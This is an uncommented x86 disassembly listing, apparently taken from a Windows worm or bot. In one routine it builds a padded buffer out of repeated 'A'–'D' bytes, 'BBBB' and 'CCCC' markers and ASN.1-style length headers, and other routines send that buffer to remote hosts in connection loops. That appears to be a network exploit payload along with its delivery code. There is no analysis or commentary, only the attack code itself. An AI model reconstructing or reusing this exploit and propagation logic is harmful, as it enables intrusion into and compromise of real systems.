		add	esp, 24h
		mov	dword_43E584[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		nop
		call	near ptr 26A08B1h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB790[eax*8]
		push	eax
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_432194
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB794[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD790
		nop
		call	near ptr 2710216h


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 2700B29h
		nop


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB794[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB644
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6C4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5EC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E58C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6D0
		push	eax
		mov	edi, offset dword_4CE154
		push	offset dword_432274
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6DC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0D015FFE0h, 50004CB6h, 0FECC858Dh, 9C68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 80050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	90575700h
		dd 29390FE8h, 89C73B02h, 0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0A9E8FC75h, 90022742h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB56C15h, 89504000h, 15FF0845h,	4CB640h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6D0h, 0D0858D50h, 68FFFFFEh
		dd 4322F0h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E380h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 29381FE8h, 0C73B9002h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 900875FFh, 2741B7E8h,	8CB3FF02h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6D0h, 0D0858D50h
		dd 68FFFFFEh, 4322C4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB4FC
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFD4
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432328
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432330
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326AC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432334
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326A0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_432698
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43268C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432687+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB65C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB640
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB694
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB694
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323C4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4323F4
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE35C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43233C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432400
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
